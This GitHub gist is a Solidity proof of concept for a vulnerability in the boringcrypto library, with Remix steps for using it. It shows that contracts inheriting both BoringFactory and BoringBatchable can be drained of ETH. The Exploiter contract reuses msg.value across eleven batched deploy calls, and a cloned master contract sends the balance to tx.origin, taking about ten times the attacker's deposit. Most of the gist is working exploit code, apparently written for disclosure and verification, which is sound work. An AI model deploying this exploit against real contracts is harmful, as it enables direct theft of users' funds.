Skip to content

Instantly share code, notes, and snippets.

@Austin-Williams
Created January 1, 2022 19:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Austin-Williams/edf598929ae8e8a294d58937f2c49a47 to your computer and use it in GitHub Desktop.
Save Austin-Williams/edf598929ae8e8a294d58937f2c49a47 to your computer and use it in GitHub Desktop.
PoC of boringcrypto library vuln
/*
Use this file in Remix to verify that any contract that inherits both the `BoringFactory` and `BoringBatchable` contracts from the `boringcrypto` library can be drained of ETH by anyone.
Steps:
1. Deploy the `Exploitable` contract, giving it some ETH to steal (e.g., 50 ETH).
2. Deploy the `Exploiter` contract.
3. Call `Exploiter.exploit` -- while sending 1 ETH along with the call -- and passing in the address of the `Exploitable` contract.
4. Pay attention to the ETH balance of the EOA that made the call in step 3. Its ETH balanced will have increased by 10 ETH (which is what it has taken from the `Exploitable` contract).
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringBatchable.sol";
import "https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringFactory.sol";
contract Exploitable is BoringFactory, BoringBatchable {
constructor() public payable {
require(msg.value > 10 ether, "must give this contract some ETH to steal");
}
}
contract MasterContractToClone is IMasterContract {
function init(bytes calldata data) external override payable {
payable(tx.origin).transfer(address(this).balance);
data; // suppress compiler warnings
}
}
interface IExploitable {
function batch(bytes[] calldata calls, bool revertOnFail) external payable;
}
contract Exploiter {
bytes[] public calls;
// you'll end up stealing 10x the amount of your msg.value, assuming the
// exploitable contract holds that much.
function exploit(address _exploitableContract) external payable {
require(msg.value > 0, "must send some ETH");
// deploy MasterContractToClone
address masterContractToClone = address(new MasterContractToClone());
// set calls for batch
delete calls;
bytes memory data = "0x123456";
bytes memory _data = abi.encode(masterContractToClone, data, false);
bytes memory call = abi.encodePacked(bytes4(keccak256(bytes("deploy(address,bytes,bool)"))), _data);
for (uint256 i = 0; i < 11; i++) {
calls.push(call);
}
// exploit batch + deploy functions
IExploitable(_exploitableContract).batch{value: msg.value}(calls, true);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment